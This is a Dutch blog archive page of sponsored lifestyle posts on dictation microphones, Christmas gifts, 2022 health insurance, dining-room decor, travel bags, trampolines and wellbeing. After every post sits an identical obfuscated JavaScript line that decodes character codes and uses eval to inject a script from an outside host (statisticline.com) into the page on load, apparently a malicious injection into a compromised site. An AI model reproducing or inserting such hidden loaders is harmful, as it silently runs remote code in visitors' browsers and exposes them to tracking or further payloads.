Maand: november 2021

Al je gedachten kunnen bewaren

Je hebt talloze gedachten en ideeën op een dag. Die kan je lang niet allemaal benutten, omdat je ook andere dingen te doen hebt. Het is dan fijn om er op een later moment op terug te kunnen komen. Alleen moet je ze dan wel goed kunnen bewaren. Een Philips speechmic bestellen is dan een goed idee. Daarmee kan je alles wat je op een later moment wilt uitwerken gemakkelijk opslaan. 

Een speechmic voor jou 

Wat is de speechmic die past bij wat jij wilt doen? Dat hangt natuurlijk van allerlei zaken af. Hoe gemakkelijk de recorder in gebruik is, is bijvoorbeeld zo’n factor. Om er een goed idee van te krijgen, is het slim om gewoon eens in het aanbod van een specialist als Spraakherkenning.nl te kijken. Dar vind je de verschillende modellen. Zo kan je heel simpel vinden wat je zoekt om mee te werken. 

De lengte van de opnames 

Een andere factor die je bekijkt, is de lengte van de opnames die je maakt. Wanneer je hele verhalen in gedachten hebt, dan is het ook goed om er een model bij te kiezen dat wat meer opname ruimte heeft. Zo kan je er zeker van zijn dat alles wat je in je hoofd hebt er ook uit kan. Je neemt die dan op en werkt de ideeën die je overhoudt eraan op een later moment uit. Dat is vaak van grote waarde. 

Veel of weinig gebruik? 

Het is uiteindelijk vooral ook afhankelijk van de mate van gebruik welke het best bij je past. Ben je iemand die veel ideeën heeft of lang van stof is? Dan is het bijvoorbeeld fijn wanneer je veel batterijduur hebt. Dat is een manier om te zorgen dat alles wat er op een dag in je hoofd zit ook op te nemen. Je kunt dan op een later moment altijd nog de dingen eruit halen waar je niets aan hebt.  

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

5 Kerstcadeau tips voor je moeder

Om je te helpen een mooi kerstcadeau voor je moeder te vinden hebben we 5 cadeau tips voor je op een rij gezet. Tips om je aan het denken te zetten of om meteen tot aanschaf over te gaan als deze kerstcadeaus ideaal zijn om aan je moeder te geven.

1. Wijndecoratie

Als je moeder (of schoonmoeder) van wijn houdt, is het erg leuk om aan wijndecoratie te denken. Een leuke wijnfleshouder of een wijnkistje met wijnaccessoires erbij kunnen beide met een lekkere fles wijn gegeven worden. Het leuke aan deze geschenken is dat er steeds weer een nieuwe fles wijn in kan worden geplaatst. Wijnfleshouders zijn bij uitstek geschikt als woondecoratie in de woonkamer of de keuken.

2. Schootkussen of schoottafeltje

Een schootkussen lijkt wat oubollig, maar het is een uitstekend idee om als kerstcadeau moeder te geven. Met een schootkussen kun je namelijk heel veel (denk aan handwerken, eten op schoot, lezen, kruiswoord puzzelen), waardoor het een ideaal tafeltje is voor wat oudere mensen. Overigens is het schootkussen zeker geen “oude mensen” artikel. Het wordt namelijk ook veel als laptopkussen gebruikt en voor kinderen achterin de auto zodat ze een gemakkelijk tafeltje hebben om te kleuren of een spelletje te spelen.

3. Boekensteun

Moeder of schoonmoeder heeft vast wel een paar boeken op de boekenplank of in de kast staan. Is het geen leuk idee om haar een boekensteun of een boekensteunen set te geven als kerstcadeau? Er zijn boekensteunen die als dier zijn vormgegeven of als sprookjesfiguur. Ook abstracte designs vind je bij boekensteunen terug. Erg leuk als kerstcadeau voor moeder

4. Een brillenhouder voor moeder om haar bril te beschermen

Als je iets heel aparts als kerstcadeau moeder wilt geven kun je ook kiezen voor een originele brillenhouder. Brillenhouders zijn zo ontworpen dat er een bril op kan worden geplaatst. De brillenhouder zorgt ervoor dat de bril beschermt is en dat deze gemakkelijk te pakken is. Dit is weer eens iets anders dan een briletui.

5. Beeldjes als kerstcadeau

Je kunt moeder ook verrassen met een leuk beeldje. Beeldjes vinden altijd hun plaats in het interieur. Een leuk voorbeeld van beeldjes die ook verzameld kunnen worden zijn de Cow Parade koeienbeeldjes. Er zijn meer dan 100 verschillende designs van deze leuke handbeschilderde beeldjes verkrijgbaar. Geef haar een leuk beeldje en de kans bestaat dat je dit voortaan jaarlijks cadeau geeft. Bekijk de koeienbeeldjes voor een eerste indruk.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Welke zorgverzekeringen zijn er nieuw in 2022?

Zoals ieder jaar wijzigt er in 2022 ook het een en ander aan jouw zorgverzekering. Het kan ook zijn dat jij nu andere wensen hebt dan dat je eerst had. Heb je ineens een bril nodig of kies je ervoor om een beugel te nemen? Dan is het verstandig om je daar je op te verzekeren. Ook wanneer jouw kind onder de achttien jaar een beugel krijgt moet jij jezelf daar goed op verzekeren. Jij kan jouw orthodontie verzekering kiezen met vergelijkdezorgverzekeringen.nl. Zij kunnen jou helpen met het kiezen van verzekering die bij jouw wensen past. 

Drie nieuwe zorgverzekeringen in 2022

In 2022 komen er drie nieuwe zorgverzekeringen bij. De eerst is die van VinkVink. VinkVink valt onder het zorglabel van Menzis. Deze basisverzekering van VinkVink dekt de zorg die belangrijk en nodig is. De huisarts, ziekenhuis opnames, psychologische zorg en medicijnen. Wanneer jij je aansluit bij VinkVink kun je bij elk ziekenhuis terecht waar jou voorkeur naar toe gaat. Je bent dus niet verbonden aan een selectie van ziekenhuizen. 

Ook heeft ‘’Anderzorg een nieuwe zorgverzekering erbij. Anderzorg heeft vanaf 2022 een nieuwe basispolis. Deze basispolis wordt ‘’compact’’ genoemd. Deze zorgverzekering is goedkoper dan de ‘’basis’’ polis, die al bestaat. Bij Anderzorg kun jij je ook aanvullend verzekeren. Je kan je zelf onder andere aanvullend verzekeren op tandongevallen. 

FBTO heeft ook een nieuwe zorgverzekering erbij vanaf 2022. Deze nieuwe verzekering wordt de ‘’basis’’ verzekering genoemd. De nieuwe zorgverzekering van FBTO is vooral interessant voor mensen die op zoek zijn naar een ruime zorgkeuze. De goedkoopste zorgverzekering bij FBTO is naturapolis met een ruime zorgkeuze. Wel geldt er dat je bepaalde hulpmiddelen alleen bij een select aantal leverancier kan afnemen. 

Kan je tussentijds jouw verzekering wijzigen?

Overstappen op een andere zorgverzekering kan niet zomaar. Overstappen kan alleen tussen half november en één januari. Je kan dus maar een keer per jaar overstappen naar een andere zorgverzekeraar. Bij sommige zorgverzekeraars is het wel mogelijk om in sommige situaties te wijzigen van zorgverzekering Dit geldt in situaties wanneer je samen gaat wonen, scheiden, met pensioen gaat of jouw baan verliest. De optie of jij jouw zorgverzekering kan wijzigen hangt dus af van jouw verzekeraar. Het wijzigen is meestal niet gebruikelijk. Je kan ook niet zomaar van een basisverzekering overstappen naar een aanvullende verzekering, ook dan moet je wachten totdat je het kan wijzigen in november. Als je in midden november ervoor kiest om over te stappen op een aanvullende verzekering, gaat de nieuwe polis op één januari vanaf het nieuwe jaar pas in.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Stijlvolle tips voor een kleine eethoek

Lichte kleuren
Door lichte kleuren te gebruiken zorg je ervoor dat de ruimte optisch ruimer lijkt. Dit effect kun je al eenvoudig bereiken door de muren te voorzien van een lichte kleur zoals wit, beige of lichtgrijs. Maar ook meubels spelen hier een grote rol in. Door lichte eetkamerstoelen te gebruiken zorg je dat de ruimte groter oogt.

Dit betekent niet dat je geen kleur kan gebruiken in een kleine ruimte. Voeg kleurrijke accessoires toe zoals een kandelaar, vaas of een sierkussen. Of juist donkere accenten voor een mooi contrast.

De juiste eettafel
Een eettafel is een essentieel item in de eethoek. Het kiezen van eettafel is dan ook een belangrijke keuze. Voor elke ruimte is een andere vorm geschikt. Wil je een knusse eethoek creëren in de keuken? Kies dan voor een bar of een kleine eettafel. Zo zorg je voor voldoende bewegingsruimte tijdens het koken. Een vierkante of rechthoekige eettafel is ideaal als de ruimte bestaat uit een lange muur. Combineer stoelen met een eetkamerbankje. Door stoelen te combineren met een eetkamerbankje kan je gemakkelijk ruimte besparen.

Komt de eethoek in het midden van de ruimte? Ga dan voor een ronde eettafel. Door de ronde vorm neemt de tafel weinig ruimte in beslag maar heb je wel genoeg plek om met vrienden een avond te dineren. Een marmeren eettafel geeft jouw eethoek een extra luxe uitstraling. Daarnaast zorgt het marmer voor een comfortabele en zachte sfeer in jouw interieur.

Decoratie aan de muur
Op een kleine eettafel heb je misschien niet genoeg ruimte voor al jouw favoriete items. In een kleinere ruimte moet je daarom slim gebruiken maken van de hoogte. Een wandplank neemt weinig ruimte in maar maakt de eethoek wel gezelliger. Wandkleden zijn nog steeds trendy, ook maak je zo eenvoudig een statement in je interieur. Maar ook spiegels zijn geschikt om een ruimte breder te laten lijken. Door een spiegel horizontaal op te hangen oogt de ruimte ineens een stuk breder.

Kan jouw eethoek ook een upgrade gebruiken? Bekijk dan eens het assortiment van Sohome. Hier vind je alle items die jouw (kleine) eethoek gezellig en knus maken. Klanten beoordelen de online woonwinkel gemiddeld met een 9! Benieuwd naar de ervaringen van de klanten die je voor gingen? Lees hier de Sohome reviews.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Een tas kopen voor op zakenreis, waar moet je op letten?

Business tas en plevier tassen zijn handig om mee te nemen op reis. Ga je regelmatig op reis en ben je op zoek naar een handige reistas? Dan zijn er een aantal dingen waar je op moet letten. Ten eerste wil je natuurlijk wel rondlopen met een tas die je mooi vindt. Het kiezen van een tas draait om het ontwerp, maar ook draait het om de kleur en het materiaal. Misschien gaat je persoonlijke voorkeur uit naar de leren tas maar ook kan het zijn dat je leer niet mooi vindt of dat je geen voorstander bent van het gebruik van dierlijke producten. Mocht je geen tas hebben gemaakt van echt leer maar vind je leer wel mooi, dan kun je ook kiezen voor kunstleer.

Let op voldoende ruimte

Naast het ontwerp van de tas moet je natuurlijk ook voldoende ruimte hebben. De tas moet wel functioneel zijn, omdat je hem meeneemt op reis. Je moet in ieder geval in staat zijn om je spullen erin kwijt te kunnen. De tas moet naast het hebben van ruimte ook makkelijk te dragen zijn. Dit betekent dat je de tas makkelijk om moet kunnen doen en dat deze makkelijk vast te houden moet zijn.

Koop een stevige tas

De tas moet ook stevig genoeg zijn om je spullen te kunnen dragen. Hiernaast moet de tas beschikken over genoeg opbergvakjes en ritsen, zodat niet alles wat je meeneemt los in de tas gelegd hoeft te worden. Ook is het prettig als de tas op zich niet te zwaar is. Het vullen van de tas zal natuurlijk gewicht met zich meenemen, maar als de tas zelf niet te zwaar is dan scheelt dit weer gewicht.

Als laatste moet je rekening houden met het formaat van de tas die je koopt. Een te kleine tas zal niet heel handig zijn om mee te nemen, omdat er weinig inpast. Een grote tas zal lastig te dragen zijn.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Waarom is trampolinespringen een geweldige oefening voor kinderen en volwassenen

Springen op een trampoline is niet alleen erg leuk, maar het is ook een goede manier om kinderen naar buiten te krijgen, zonder dat je je huis hoeft te verlaten. Als je geen tuin hebt, zijn er tal van indoor trampolines op de markt die net zo leuk zijn.

Trampolinespringen is een complete workout voor groeiende lichamen, maar het is ook geweldig voor volwassen fitness! Het is de perfecte training voor drukke ouders die niet kunnen rennen of naar de sportschool kunnen, en slechts 30 minuten per dag kan je helpen om een ​​veel fitter en gezonder persoon te worden. Hier zijn enkele gezondheidsvoordelen van stuiteren op een trampoline voor kinderen en volwassenen van alle leeftijden. De trampolines van etantrampolines.com zijn van hoge kwaliteit en zorgen voor uren springplezier!

Minder belasting van de gewrichten: als je een oudere persoon bent, of iemand die herstellende is van een blessure, kan wat licht stuiteren op een trampoline je veel goeds doen. Deze oefening met weinig impact verwijdert tot 80% van de stress die doorgaans wordt uitgeoefend op gewichtdragende gewrichten, wat ook zou kunnen helpen het risico op artritische pijn in de toekomst te verminderen.

Verbetert de cardiovasculaire gezondheid: Net als bij andere spieren in het lichaam, verbetert het hart door frequente lichaamsbeweging. Regelmatige trampoline-trainingen van 30 minuten kunnen de cardiovasculaire gezondheid bij volwassenen verbeteren. En een sterk hart kan hartaandoeningen helpen bestrijden en de algehele gezondheid en het uithoudingsvermogen verbeteren, zelfs bij jonge kinderen.

Verhoogde longcapaciteit: Springen op een trampoline zorgt voor een goede cardiotraining, wat op zijn beurt jouw longcapaciteit kan vergroten. Tijdens het sporten neemt je lichaam meer zuurstof op, terwijl koolstofdioxide wordt uitgestoten. Naarmate jouw conditie verbetert, wordt uw lichaam efficiënter om zuurstof in de bloedbaan te krijgen en naar jouw spieren te transporteren.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

3 manieren om je lichaam een boost te geven

Het afgelopen jaar hebben de meeste vrouwen en mannen veelal thuisgewerkt door de lockdown, waardoor het contact met vrienden en collega’s afgenomen is. Bovendien nam de motivatie af om dag in dag uit hetzelfde ritme vol te houden. Nu alles echter weer langzaamaan open mag en we weer op pad mogen, is het tijd om je lichaam weer een boost te geven om die positieve energie naar boven te halen! Hoe je dat doet? Dát lees je hier!

Haal je make-up en dagcrème tevoorschijn

Vond jij het het afgelopen jaar niet altijd nodig om je op te maken voor een Zoomsessie of leek je die dagcrème geregeld overbodig? Om je ogen te laten spreken en je gezicht te laten stralen, is het geen overbodige luxe om wat subtiele make-up en verzorgende dagcrème aan te brengen. Niet alleen zal je er dan mooi uitzien voor je gezelschap, maar ook zal jíj je direct een stuk opgewekter voelen!

Ga langs de opticien voor een oogmeting

Misschien heb jij de afgelopen maanden veel minder vaak je bril opgezet voor bijziendheid, aangezien je beeldscherm slechts 50 centimeter van je ogen verwijderd was. Nu je echter meer en meer de deur uitgaat, is het geen slecht idee om opnieuw langs de opticien te gaan om een oogmeting af te laten nemen. De opticien kan dan controleren welke sterkte je nodig hebt en aanraden welke lenzen voor jou het beste zijn. Misschien heb je lenzen met cilinder nodig, zoals Acuvue Oasys for Astigmatism. Of wellicht wil je daglenzen gaan dragen. Merk je dat je de kleine lettertjes steeds minder goed kunt zien? Dan ben je toe aan multifocale lenzen. 

Zoek een nieuwe sport

Wil jij mooi voor de dag komen? Werk je dan eerst flink in het zweet om je vervolgens prachtig te voelen in je lichaam! Wanneer je namelijk sport, wordt er dopamine aangemaakt. Dit stofje laat je gelukkig voelen, maar verbetert ook je concentratie en focus. Wanneer jij je dus even wat minder voelt, is het zeker aan te raden om je sportschoenen gewoon aan te trekken en 20 minuutjes te rennen!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);